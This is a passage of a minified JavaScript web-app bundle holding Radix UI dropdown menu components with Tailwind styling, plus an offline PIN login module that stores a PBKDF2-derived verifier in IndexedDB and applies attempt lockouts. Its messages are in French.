a.jsx(an.div,{role:&quot;group&quot;,...n,ref:t})});ES.displayName=L0e;var M0e=&quot;MenuLabel&quot;,mU=I.forwardRef((e,t)=&gt;{const{__scopeMenu:r,...n}=e;return a.jsx(an.div,{...n,ref:t})});mU.displayName=M0e;var ow=&quot;MenuItem&quot;,m7=&quot;menu.itemSelect&quot;,Q4=I.forwardRef((e,t)=&gt;{const{disabled:r=!1,onSelect:n,...i}=e,s=I.useRef(null),o=Ay(ow,e.__scopeMenu),l=bS(ow,e.__scopeMenu),c=ri(t,s),d=I.useRef(!1),u=()=&gt;{const h=s.current;if(!r&amp;&amp;h){const p=new CustomEvent(m7,{bubbles:!0,cancelable:!0});h.addEventListener(m7,A=&gt;n?.(A),{once:!0}),T6(h,p),p.defaultPrevented?d.current=!1:o.onClose()}};return a.jsx(pU,{...i,ref:c,disabled:r,onClick:yr(e.onClick,u),onPointerDown:h=&gt;{e.onPointerDown?.(h),d.current=!0},onPointerUp:yr(e.onPointerUp,h=&gt;{d.current||h.currentTarget?.click()}),onKeyDown:yr(e.onKeyDown,h=&gt;{const p=l.searchRef.current!==&quot;&quot;;r||p&amp;&amp;h.key===&quot; &quot;||lN.includes(h.key)&amp;&amp;(h.currentTarget.click(),h.preventDefault())})})});Q4.displayName=ow;var pU=I.forwardRef((e,t)=&gt;{const{__scopeMenu:r,disabled:n=!1,textValue:i,...s}=e,o=bS(ow,r),l=cU(r),c=I.useRef(null),d=ri(t,c),[u,h]=I.useState(!1),[p,A]=I.useState(&quot;&quot;);return I.useEffect(()=&gt;{const y=c.current;y&amp;&amp;A((y.textContent??&quot;&quot;).trim())},[s.children]),a.jsx(pv.ItemSlot,{scope:r,disabled:n,textValue:i??p,children:a.jsx(sU,{asChild:!0,...l,focusable:!n,children:a.jsx(an.div,{role:&quot;menuitem&quot;,&quot;data-highlighted&quot;:u?&quot;&quot;:void 0,&quot;aria-disabled&quot;:n||void 0,&quot;data-disabled&quot;:n?&quot;&quot;:void 0,...s,ref:d,onPointerMove:yr(e.onPointerMove,gv(y=&gt;{n?o.onItemLeave(y):(o.onItemEnter(y),y.defaultPrevented||y.currentTarget.focus({preventScroll:!0}))})),onPointerLeave:yr(e.onPointerLeave,gv(y=&gt;o.onItemLeave(y))),onFocus:yr(e.onFocus,()=&gt;h(!0)),onBlur:yr(e.onBlur,()=&gt;h(!1))})})})}),U0e=&quot;MenuCheckboxItem&quot;,gU=I.forwardRef((e,t)=&gt;{const{checked:r=!1,onCheckedChange:n,...i}=e;return a.jsx(bU,{scope:e.__scopeMenu,checked:r,children:a.jsx(Q4,{role:&quot;menuitemcheckbox&quot;,&quot;aria-checked&quot;:lw(r)?&quot;mixed&quot;:r,...i,ref:t,&quot;data-state&quot;:IS(r),onSelect:yr(i.onSelect,()=&gt;n?.(lw(r)?!0:!r),{checkForDefaultPrevented:!1})})})});gU.displayName=U0e;var AU=&quot;MenuRadioGroup&quot;,[z0e,$0e]=Rg(AU,{value:void 0,onValueChange:()=&gt;{}}),xU=I.forwardRef((e,t)=&gt;{const{value:r,onValueChange:n,...i}=e,s=ql(n);return a.jsx(z0e,{scope:e.__scopeMenu,value:r,onValueChange:s,children:a.jsx(ES,{...i,ref:t})})});xU.displayName=AU;var vU=&quot;MenuRadioItem&quot;,yU=I.forwardRef((e,t)=&gt;{const{value:r,...n}=e,i=$0e(vU,e.__scopeMenu),s=r===i.value;return a.jsx(bU,{scope:e.__scopeMenu,checked:s,children:a.jsx(Q4,{role:&quot;menuitemradio&quot;,&quot;aria-checked&quot;:s,...n,ref:t,&quot;data-state&quot;:IS(s),onSelect:yr(n.onSelect,()=&gt;i.onValueChange?.(r),{checkForDefaultPrevented:!1})})})});yU.displayName=vU;var CS=&quot;MenuItemIndicator&quot;,[bU,H0e]=Rg(CS,{checked:!1}),wU=I.forwardRef((e,t)=&gt;{const{__scopeMenu:r,forceMount:n,...i}=e,s=H0e(CS,r);return a.jsx(hu,{present:n||lw(s.checked)||s.checked===!0,children:a.jsx(an.span,{...i,ref:t,&quot;data-state&quot;:IS(s.checked)})})});wU.displayName=CS;var q0e=&quot;MenuSeparator&quot;,EU=I.forwardRef((e,t)=&gt;{const{__scopeMenu:r,...n}=e;return a.jsx(an.div,{role:&quot;separator&quot;,&quot;aria-orientation&quot;:&quot;horizontal&quot;,...n,ref:t})});EU.displayName=q0e;var G0e=&quot;MenuArrow&quot;,CU=I.forwardRef((e,t)=&gt;{const{__scopeMenu:r,...n}=e,i=P4(r);return a.jsx(tS,{...i,...n,ref:t})});CU.displayName=G0e;var V0e=&quot;MenuSub&quot;,[NGe,IU]=Rg(V0e),Qx=&quot;MenuSubTrigger&quot;,jU=I.forwardRef((e,t)=&gt;{const r=Pg(Qx,e.__scopeMenu),n=Ay(Qx,e.__scopeMenu),i=IU(Qx,e.__scopeMenu),s=bS(Qx,e.__scopeMenu),o=I.useRef(null),{pointerGraceTimerRef:l,onPointerGraceIntentChange:c}=s,d={__scopeMenu:e.__scopeMenu},u=I.useCallback(()=&gt;{o.current&amp;&amp;window.clearTimeout(o.current),o.current=null},[]);return I.useEffect(()=&gt;u,[u]),I.useEffect(()=&gt;{const h=l.current;return()=&gt;{window.clearTimeout(h),c(null)}},[l,c]),a.jsx(vS,{asChild:!0,...d,children:a.jsx(pU,{id:i.triggerId,&quot;aria-haspopup&quot;:&quot;menu&quot;,&quot;aria-expanded&quot;:r.open,&quot;aria-controls&quot;:i.contentId,&quot;data-state&quot;:BU(r.open),...e,ref:rh(t,i.onTriggerChange),onClick:h=&gt;{e.onClick?.(h),!(e.disabled||h.defaultPrevented)&amp;&amp;(h.currentTarget.focus(),r.open||r.onOpenChange(!0))},onPointerMove:yr(e.onPointerMove,gv(h=&gt;{s.onItemEnter(h),!h.defaultPrevented&amp;&amp;!e.disabled&amp;&amp;!r.open&amp;&amp;!o.current&amp;&amp;(s.onPointerGraceIntentChange(null),o.current=window.setTimeout(()=&gt;{r.onOpenChange(!0),u()},100))})),onPointerLeave:yr(e.onPointerLeave,gv(h=&gt;{u();const p=r.content?.getBoundingClientRect();if(p){const A=r.content?.dataset.side,y=A===&quot;right&quot;,v=y?-5:5,w=p[y?&quot;left&quot;:&quot;right&quot;],j=p[y?&quot;right&quot;:&quot;left&quot;];s.onPointerGraceIntentChange({area:[{x:h.clientX+v,y:h.clientY},{x:w,y:p.top},{x:j,y:p.top},{x:j,y:p.bottom},{x:w,y:p.bottom}],side:A}),window.clearTimeout(l.current),l.current=window.setTimeout(()=&gt;s.onPointerGraceIntentChange(null),300)}else{if(s.onTriggerLeave(h),h.defaultPrevented)return;s.onPointerGraceIntentChange(null)}})),onKeyDown:yr(e.onKeyDown,h=&gt;{const p=s.searchRef.current!==&quot;&quot;;e.disabled||p&amp;&amp;h.key===&quot; &quot;||N0e[n.dir].includes(h.key)&amp;&amp;(r.onOpenChange(!0),r.content?.focus(),h.preventDefault())})})})});jU.displayName=Qx;var NU=&quot;MenuSubContent&quot;,SU=I.forwardRef((e,t)=&gt;{const r=dU(e0,e.__scopeMenu),{forceMount:n=r.forceMount,...i}=e,s=Pg(e0,e.__scopeMenu),o=Ay(e0,e.__scopeMenu),l=IU(NU,e.__scopeMenu),c=I.useRef(null),d=ri(t,c);return a.jsx(pv.Provider,{scope:e.__scopeMenu,children:a.jsx(hu,{present:n||s.open,children:a.jsx(pv.Slot,{scope:e.__scopeMenu,children:a.jsx(wS,{id:l.contentId,&quot;aria-labelledby&quot;:l.triggerId,...i,ref:d,align:&quot;start&quot;,side:o.dir===&quot;rtl&quot;?&quot;left&quot;:&quot;right&quot;,disableOutsidePointerEvents:!1,disableOutsideScroll:!1,trapFocus:!1,onOpenAutoFocus:u=&gt;{o.isUsingKeyboardRef.current&amp;&amp;c.current?.focus(),u.preventDefault()},onCloseAutoFocus:u=&gt;u.preventDefault(),onFocusOutside:yr(e.onFocusOutside,u=&gt;{u.target!==l.trigger&amp;&amp;s.onOpenChange(!1)}),onEscapeKeyDown:yr(e.onEscapeKeyDown,u=&gt;{o.onClose(),u.preventDefault()}),onKeyDown:yr(e.onKeyDown,u=&gt;{const h=u.currentTarget.contains(u.target),p=S0e[o.dir].includes(u.key);h&amp;&amp;p&amp;&amp;(s.onOpenChange(!1),l.trigger?.focus(),u.preventDefault())})})})})})});SU.displayName=NU;function BU(e){return e?&quot;open&quot;:&quot;closed&quot;}function lw(e){return e===&quot;indeterminate&quot;}function IS(e){return lw(e)?&quot;indeterminate&quot;:e?&quot;checked&quot;:&quot;unchecked&quot;}function W0e(e){const t=document.activeElement;for(const r of e)if(r===t||(r.focus(),document.activeElement!==t))return}function K0e(e,t){return e.map((r,n)=&gt;e[(t+n)%e.length])}function Y0e(e,t,r){const i=t.length&gt;1&amp;&amp;Array.from(t).every(d=&gt;d===t[0])?t[0]:t,s=r?e.indexOf(r):-1;let o=K0e(e,Math.max(s,0));i.length===1&amp;&amp;(o=o.filter(d=&gt;d!==r));const c=o.find(d=&gt;d.toLowerCase().startsWith(i.toLowerCase()));return c!==r?c:void 0}function Z0e(e,t){const{x:r,y:n}=e;let i=!1;for(let s=0,o=t.length-1;s&lt;t.length;o=s++){const l=t[s],c=t[o],d=l.x,u=l.y,h=c.x,p=c.y;u&gt;n!=p&gt;n&amp;&amp;r&lt;(h-d)*(n-u)/(p-u)+d&amp;&amp;(i=!i)}return i}function J0e(e,t){if(!t)return!1;const r={x:e.clientX,y:e.clientY};return Z0e(r,t)}function gv(e){return t=&gt;t.pointerType===&quot;mouse&quot;?e(t):void 0}var X0e=uU,ede=vS,tde=fU,rde=hU,nde=ES,ide=mU,ade=Q4,sde=gU,ode=xU,lde=yU,cde=wU,ude=EU,dde=CU,fde=jU,hde=SU,F4=&quot;DropdownMenu&quot;,[mde]=Sc(F4,[lU]),Yl=lU(),[pde,kU]=mde(F4),_U=e=&gt;{const{__scopeDropdownMenu:t,children:r,dir:n,open:i,defaultOpen:s,onOpenChange:o,modal:l=!0}=e,c=Yl(t),d=I.useRef(null),[u,h]=a0({prop:i,defaultProp:s??!1,onChange:o,caller:F4});return a.jsx(pde,{scope:t,triggerId:su(),triggerRef:d,contentId:su(),open:u,onOpenChange:h,onOpenToggle:I.useCallback(()=&gt;h(p=&gt;!p),[h]),modal:l,children:a.jsx(X0e,{...c,open:u,onOpenChange:h,dir:n,modal:l,children:r})})};_U.displayName=F4;var DU=&quot;DropdownMenuTrigger&quot;,TU=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,disabled:n=!1,...i}=e,s=kU(DU,r),o=Yl(r);return a.jsx(ede,{asChild:!0,...o,children:a.jsx(an.button,{type:&quot;button&quot;,id:s.triggerId,&quot;aria-haspopup&quot;:&quot;menu&quot;,&quot;aria-expanded&quot;:s.open,&quot;aria-controls&quot;:s.open?s.contentId:void 0,&quot;data-state&quot;:s.open?&quot;open&quot;:&quot;closed&quot;,&quot;data-disabled&quot;:n?&quot;&quot;:void 0,disabled:n,...i,ref:rh(t,s.triggerRef),onPointerDown:yr(e.onPointerDown,l=&gt;{!n&amp;&amp;l.button===0&amp;&amp;l.ctrlKey===!1&amp;&amp;(s.onOpenToggle(),s.open||l.preventDefault())}),onKeyDown:yr(e.onKeyDown,l=&gt;{n||([&quot;Enter&quot;,&quot; &quot;].includes(l.key)&amp;&amp;s.onOpenToggle(),l.key===&quot;ArrowDown&quot;&amp;&amp;s.onOpenChange(!0),[&quot;Enter&quot;,&quot; &quot;,&quot;ArrowDown&quot;].includes(l.key)&amp;&amp;l.preventDefault())})})})});TU.displayName=DU;var gde=&quot;DropdownMenuPortal&quot;,RU=e=&gt;{const{__scopeDropdownMenu:t,...r}=e,n=Yl(t);return a.jsx(tde,{...n,...r})};RU.displayName=gde;var PU=&quot;DropdownMenuContent&quot;,QU=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=kU(PU,r),s=Yl(r),o=I.useRef(!1);return a.jsx(rde,{id:i.contentId,&quot;aria-labelledby&quot;:i.triggerId,...s,...n,ref:t,onCloseAutoFocus:yr(e.onCloseAutoFocus,l=&gt;{o.current||i.triggerRef.current?.focus(),o.current=!1,l.preventDefault()}),onInteractOutside:yr(e.onInteractOutside,l=&gt;{const c=l.detail.originalEvent,d=c.button===0&amp;&amp;c.ctrlKey===!0,u=c.button===2||d;(!i.modal||u)&amp;&amp;(o.current=!0)}),style:{...e.style,&quot;--radix-dropdown-menu-content-transform-origin&quot;:&quot;var(--radix-popper-transform-origin)&quot;,&quot;--radix-dropdown-menu-content-available-width&quot;:&quot;var(--radix-popper-available-width)&quot;,&quot;--radix-dropdown-menu-content-available-height&quot;:&quot;var(--radix-popper-available-height)&quot;,&quot;--radix-dropdown-menu-trigger-width&quot;:&quot;var(--radix-popper-anchor-width)&quot;,&quot;--radix-dropdown-menu-trigger-height&quot;:&quot;var(--radix-popper-anchor-height)&quot;}})});QU.displayName=PU;var Ade=&quot;DropdownMenuGroup&quot;,xde=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(nde,{...i,...n,ref:t})});xde.displayName=Ade;var vde=&quot;DropdownMenuLabel&quot;,FU=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(ide,{...i,...n,ref:t})});FU.displayName=vde;var yde=&quot;DropdownMenuItem&quot;,OU=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(ade,{...i,...n,ref:t})});OU.displayName=yde;var bde=&quot;DropdownMenuCheckboxItem&quot;,LU=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(sde,{...i,...n,ref:t})});LU.displayName=bde;var wde=&quot;DropdownMenuRadioGroup&quot;,Ede=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(ode,{...i,...n,ref:t})});Ede.displayName=wde;var Cde=&quot;DropdownMenuRadioItem&quot;,MU=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(lde,{...i,...n,ref:t})});MU.displayName=Cde;var Ide=&quot;DropdownMenuItemIndicator&quot;,UU=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(cde,{...i,...n,ref:t})});UU.displayName=Ide;var jde=&quot;DropdownMenuSeparator&quot;,zU=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(ude,{...i,...n,ref:t})});zU.displayName=jde;var Nde=&quot;DropdownMenuArrow&quot;,Sde=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(dde,{...i,...n,ref:t})});Sde.displayName=Nde;var Bde=&quot;DropdownMenuSubTrigger&quot;,$U=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(fde,{...i,...n,ref:t})});$U.displayName=Bde;var kde=&quot;DropdownMenuSubContent&quot;,HU=I.forwardRef((e,t)=&gt;{const{__scopeDropdownMenu:r,...n}=e,i=Yl(r);return a.jsx(hde,{...i,...n,ref:t,style:{...e.style,&quot;--radix-dropdown-menu-content-transform-origin&quot;:&quot;var(--radix-popper-transform-origin)&quot;,&quot;--radix-dropdown-menu-content-available-width&quot;:&quot;var(--radix-popper-available-width)&quot;,&quot;--radix-dropdown-menu-content-available-height&quot;:&quot;var(--radix-popper-available-height)&quot;,&quot;--radix-dropdown-menu-trigger-width&quot;:&quot;var(--radix-popper-anchor-width)&quot;,&quot;--radix-dropdown-menu-trigger-height&quot;:&quot;var(--radix-popper-anchor-height)&quot;}})});HU.displayName=kde;var _de=_U,Dde=TU,Tde=RU,qU=QU,GU=FU,VU=OU,WU=LU,KU=MU,YU=UU,ZU=zU,JU=$U,XU=HU;const ez=_de,tz=Dde,Rde=I.forwardRef(({className:e,inset:t,children:r,...n},i)=&gt;a.jsxs(JU,{ref:i,className:nr(&quot;flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent [&amp;_svg]:pointer-events-none [&amp;_svg]:size-4 [&amp;_svg]:shrink-0&quot;,t&amp;&amp;&quot;pl-8&quot;,e),...n,children:[r,a.jsx(cse,{className:&quot;ml-auto&quot;})]}));Rde.displayName=JU.displayName;const Pde=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(XU,{ref:r,className:nr(&quot;z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 origin-[--radix-dropdown-menu-content-transform-origin]&quot;,e),...t}));Pde.displayName=XU.displayName;const jS=I.forwardRef(({className:e,sideOffset:t=4,...r},n)=&gt;a.jsx(Tde,{children:a.jsx(qU,{ref:n,sideOffset:t,className:nr(&quot;z-50 max-h-[var(--radix-dropdown-menu-content-available-height)] min-w-[8rem] overflow-y-auto overflow-x-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 origin-[--radix-dropdown-menu-content-transform-origin]&quot;,e),...r})}));jS.displayName=qU.displayName;const Av=I.forwardRef(({className:e,inset:t,...r},n)=&gt;a.jsx(VU,{ref:n,className:nr(&quot;relative flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&amp;_svg]:pointer-events-none [&amp;_svg]:size-4 [&amp;_svg]:shrink-0&quot;,t&amp;&amp;&quot;pl-8&quot;,e),...r}));Av.displayName=VU.displayName;const Qde=I.forwardRef(({className:e,children:t,checked:r,...n},i)=&gt;a.jsxs(WU,{ref:i,className:nr(&quot;relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50&quot;,e),checked:r,...n,children:[a.jsx(&quot;span&quot;,{className:&quot;absolute left-2 flex h-3.5 w-3.5 items-center justify-center&quot;,children:a.jsx(YU,{children:a.jsx(U0,{className:&quot;h-4 w-4&quot;})})}),t]}));Qde.displayName=WU.displayName;const Fde=I.forwardRef(({className:e,children:t,...r},n)=&gt;a.jsxs(KU,{ref:n,className:nr(&quot;relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50&quot;,e),...r,children:[a.jsx(&quot;span&quot;,{className:&quot;absolute left-2 flex h-3.5 w-3.5 items-center justify-center&quot;,children:a.jsx(YU,{children:a.jsx(Tg,{className:&quot;h-2 w-2 fill-current&quot;})})}),t]}));Fde.displayName=KU.displayName;const NS=I.forwardRef(({className:e,inset:t,...r},n)=&gt;a.jsx(GU,{ref:n,className:nr(&quot;px-2 py-1.5 text-sm font-semibold&quot;,t&amp;&amp;&quot;pl-8&quot;,e),...r}));NS.displayName=GU.displayName;const xv=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(ZU,{ref:r,className:nr(&quot;-mx-1 my-1 h-px bg-muted&quot;,e),...t}));xv.displayName=ZU.displayName;const An={PIN_LENGTH_MIN:4,PIN_LENGTH_MAX:6,TTL_DAYS_DEFAULT:7,MAX_ATTEMPTS:5,LOCKOUT_SCHEDULE:[30,120,600],PBKDF2_ITERATIONS:15e4,PBKDF2_ITERATIONS_FALLBACK:8e4,DB_NAME:&quot;parcapp_offline_auth&quot;,DB_VERSION:1,STORE_NAME:&quot;offline_auth&quot;};let X2=null;function SS(){return X2||(typeof indexedDB&gt;&quot;u&quot;?Promise.reject(new Error(&quot;IndexedDB n&#039;est pas disponible dans cet environnement&quot;)):(X2=new Promise((e,t)=&gt;{try{const r=indexedDB.open(An.DB_NAME,An.DB_VERSION);r.onerror=()=&gt;{console.error(&quot;[OfflineAuth] Erreur ouverture IndexedDB:&quot;,r.error),t(r.error)},r.onsuccess=()=&gt;e(r.result),r.onupgradeneeded=n=&gt;{const i=n.target.result;i.objectStoreNames.contains(An.STORE_NAME)||i.createObjectStore(An.STORE_NAME,{keyPath:&quot;key&quot;}).createIndex(&quot;userId&quot;,&quot;userId&quot;,{unique:!1})}}catch(r){console.error(&quot;[OfflineAuth] Erreur lors de l&#039;ouverture IndexedDB:&quot;,r),t(r)}}),X2))}async function vv(){try{if(typeof indexedDB&gt;&quot;u&quot;)return console.warn(&quot;[OfflineAuth] IndexedDB n&#039;est pas disponible&quot;),null;const e=await SS();return new Promise((t,r)=&gt;{const s=e.transaction([An.STORE_NAME],&quot;readonly&quot;).objectStore(An.STORE_NAME).get(&quot;activeProfile&quot;);s.onsuccess=()=&gt;{const o=s.result;t(o?o.value:null)},s.onerror=()=&gt;{console.error(&quot;[OfflineAuth] Erreur lors de la lecture IndexedDB:&quot;,s.error),t(null)}})}catch(e){return console.error(&quot;[OfflineAuth] Erreur lors de la récupération du profil:&quot;,e),null}}async function O4(e){try{const t=await SS();return new Promise((r,n)=&gt;{const o=t.transaction([An.STORE_NAME],&quot;readwrite&quot;).objectStore(An.STORE_NAME).put({key:&quot;activeProfile&quot;,value:e});o.onsuccess=()=&gt;r(),o.onerror=()=&gt;n(o.error)})}catch(t){throw console.error(&quot;[OfflineAuth] Erreur lors de la sauvegarde du profil:&quot;,t),t}}async function Ode(){try{const e=await SS();return new Promise((t,r)=&gt;{const s=e.transaction([An.STORE_NAME],&quot;readwrite&quot;).objectStore(An.STORE_NAME).delete(&quot;activeProfile&quot;);s.onsuccess=()=&gt;t(),s.onerror=()=&gt;r(s.error)})}catch(e){throw console.error(&quot;[OfflineAuth] Erreur lors de la suppression du profil:&quot;,e),e}}async function cw(e,t,r=An.PBKDF2_ITERATIONS){let n;if(typeof window&lt;&quot;u&quot;&amp;&amp;window.crypto&amp;&amp;window.crypto.subtle?n=window.crypto.subtle:typeof globalThis&lt;&quot;u&quot;&amp;&amp;globalThis.crypto&amp;&amp;globalThis.crypto.subtle?n=globalThis.crypto.subtle:typeof crypto&lt;&quot;u&quot;&amp;&amp;crypto.subtle&amp;&amp;(n=crypto.subtle),!n){const l=typeof window&lt;&quot;u&quot;?window.location.protocol:&quot;unknown&quot;,c=typeof window&lt;&quot;u&quot;?window.location.hostname:&quot;unknown&quot;,d=typeof window&lt;&quot;u&quot;?window.isSecureContext:!1;let u=`Web Crypto API (crypto.subtle) n&#039;est pas disponible.
`;throw u+=`Contexte: protocol=${l}, hostname=${c}, isSecureContext=${d}.
`,u+=`L&#039;authentification offline nécessite un contexte sécurisé (HTTPS ou localhost).

`,l===&quot;https:&quot;&amp;&amp;!d?(u+=`⚠️ Le certificat SSL n&#039;est pas reconnu par le navigateur.
`,u+=&#039;Solution: Installez mkcert sur cet ordinateur et exécutez &quot;mkcert -install&quot; pour accepter le certificat.&#039;):l===&quot;http:&quot;&amp;&amp;c!==&quot;localhost&quot;&amp;&amp;c!==&quot;127.0.0.1&quot;&amp;&amp;(u+=`⚠️ HTTP n&#039;est pas sécurisé pour les adresses IP réseau.
`,u+=&quot;Solution: Utilisez HTTPS ou accédez via localhost.&quot;),new Error(u)}const s=new TextEncoder().encode(e),o=await n.importKey(&quot;raw&quot;,s,{name:&quot;PBKDF2&quot;},!1,[&quot;deriveBits&quot;]);return n.deriveBits({name:&quot;PBKDF2&quot;,salt:t,iterations:r,hash:&quot;SHA-256&quot;},o,256)}function Lde(){let e;if(typeof window&lt;&quot;u&quot;&amp;&amp;window.crypto?e=window.crypto:typeof globalThis&lt;&quot;u&quot;&amp;&amp;globalThis.crypto?e=globalThis.crypto:typeof crypto&lt;&quot;u&quot;&amp;&amp;(e=crypto),!e||!e.getRandomValues){const t=typeof window&lt;&quot;u&quot;?window.location.protocol:&quot;unknown&quot;,r=typeof window&lt;&quot;u&quot;?window.location.hostname:&quot;unknown&quot;,n=typeof window&lt;&quot;u&quot;?window.isSecureContext:!1;throw new Error(`crypto.getRandomValues n&#039;est pas disponible. Contexte: protocol=${t}, hostname=${r}, isSecureContext=${n}. Vérifiez que vous êtes dans un contexte sécurisé (HTTPS ou localhost).`)}return e.getRandomValues(new Uint8Array(16))}function p7(e){const t=new Uint8Array(e);let r=&quot;&quot;;for(let n=0;n&lt;t.byteLength;n++)r+=String.fromCharCode(t[n]);return btoa(r)}function g7(e){const t=atob(e),r=new Uint8Array(t.length);for(let n=0;n&lt;t.length;n++)r[n]=t.charCodeAt(n);return r.buffer}function Mde(e){return e.lockUntil?Date.now()&lt;e.lockUntil:!1}function rz(e){return Date.now()&gt;e.expiresAt}function Ude(e){const t=An.LOCKOUT_SCHEDULE,r=Math.min(e-1,t.length-1);return t[r]*1e3}async function BS(e,t,r,n){if(n.length&lt;An.PIN_LENGTH_MIN||n.length&gt;An.PIN_LENGTH_MAX)throw new Error(`Le PIN doit contenir entre ${An.PIN_LENGTH_MIN} et ${An.PIN_LENGTH_MAX} chiffres`);if(!/^\d+$/.test(n))throw new Error(&quot;Le PIN ne doit contenir que des chiffres&quot;);const i=Lde();let s;try{s=await cw(n,i,An.PBKDF2_ITERATIONS)}catch(c){console.warn(&quot;[OfflineAuth] Fallback vers iterations réduites:&quot;,c),s=await cw(n,i,An.PBKDF2_ITERATIONS_FALLBACK)}const o=Date.now(),l={userId:e,displayName:t,roles:r,saltBase64:p7(i.buffer),pinVerifierBase64:p7(s),createdAt:o,lastOnlineAt:o,expiresAt:o+An.TTL_DAYS_DEFAULT*24*60*60*1e3,failedAttempts:0,lockUntil:null,version:1};await O4(l)}async function nz(e){const t=await vv();if(!t)return{success:!1,profile:null};if(rz(t))return{success:!1,profile:null};if(Mde(t))return{success:!1,profile:t,lockedUntil:t.lockUntil||void 0};const r=new Uint8Array(g7(t.saltBase64)),n=g7(t.pinVerifierBase64);let i;try{i=await cw(e,r,An.PBKDF2_ITERATIONS)}catch(c){console.warn(&quot;[OfflineAuth] Fallback vers iterations réduites:&quot;,c),i=await cw(e,r,An.PBKDF2_ITERATIONS_FALLBACK)}const s=new Uint8Array(i),o=new Uint8Array(n);if(s.length!==o.length)return await A7(t),{success:!1,profile:t};let l=!0;for(let c=0;c&lt;s.length;c++)if(s[c]!==o[c]){l=!1;break}if(l)return t.failedAttempts=0,t.lockUntil=null,await O4(t),{success:!0,profile:t};{await A7(t);const c=await vv();return{success:!1,profile:c,lockedUntil:c?.lockUntil||void 0}}}async function A7(e){if(e.failedAttempts+=1,e.failedAttempts&gt;=An.MAX_ATTEMPTS){const t=Ude(e.failedAttempts);e.lockUntil=Date.now()+t}await O4(e)}async function zde(){return vv()}async function cN(){try{if(typeof indexedDB&gt;&quot;u&quot;)return!1;const e=await vv();return e?!rz(e):!1}catch(e){return console.error(&quot;[OfflineAuth] Erreur lors de la vérification hasOfflineProfile:&quot;,e),!1}}async function $de(){const e=await vv();if(!e)return;const t=Date.now();e.lastOnlineAt=t,e.expiresAt=t+An.TTL_DAYS_DEFAULT*24*60*60*1e3,e.failedAttempts=0,e.lockUntil=null,await O4(e)}async function Hde(){await Ode()}const Qp=Object.freeze(Object.defineProperty({__proto__:null,OFFLINE_AUTH_CONFIG:An,clearOfflineProfile:Hde,createOfflineProfile:BS,getOfflineProfile:zde,hasOfflineProfile:cN,updateLastOnlineAt:$de,verifyPin:nz},Symbol.toStringTag,{value:&quot;Module&quot;}));var qde=[&quot;a&quot;,&quot;button&quot;,&quot;div&quot;,&quot;form&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;img&quot;,&quot;input&quot;,&quot;label&quot;,&quot;li&quot;,&quot;nav&quot;,&quot;ol&quot;,&quot;p&quot;,&quot;select&quot;,&quot;span&quot;,&quot;svg&quot;,&quot;ul&quot;],Gde=qde.reduce((e,t)=&gt;{const r=sy(`Primitive.${t}`),n=I.forwardRef((i,s)=&gt;{const{asChild:o,...l}=i,c=o?r:t;return typeof window&lt;&quot;u&quot;&amp;&amp;(window[Symbol.for(&quot;radix-ui&quot;)]=!0),a.jsx(c,{...l,ref:s})});return n.displayName=`Primitive.${t}`,{...e,[t]:n}},{}),Vde=&quot;Label&quot;,iz=I.forwardRef((e,t)=&gt;a.jsx(Gde.label,{...e,ref:t,onMouseDown:r=&gt;{r.target.closest(&quot;button, input, select, textarea&quot;)||(e.onMouseDown?.(r),!r.defaultPrevented&amp;&amp;r.detail&gt;1&amp;&amp;r.preventDefault())}}));iz.displayName=Vde;var az=iz;const Wde=Dg(&quot;text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70&quot;),Se=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(az,{ref:r,className:nr(Wde(),e),...t}));Se.displayName=az.displayName;const En=uS,ah=TM,Kde=dS,sz=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(oy,{ref:r,className:nr(&quot;fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 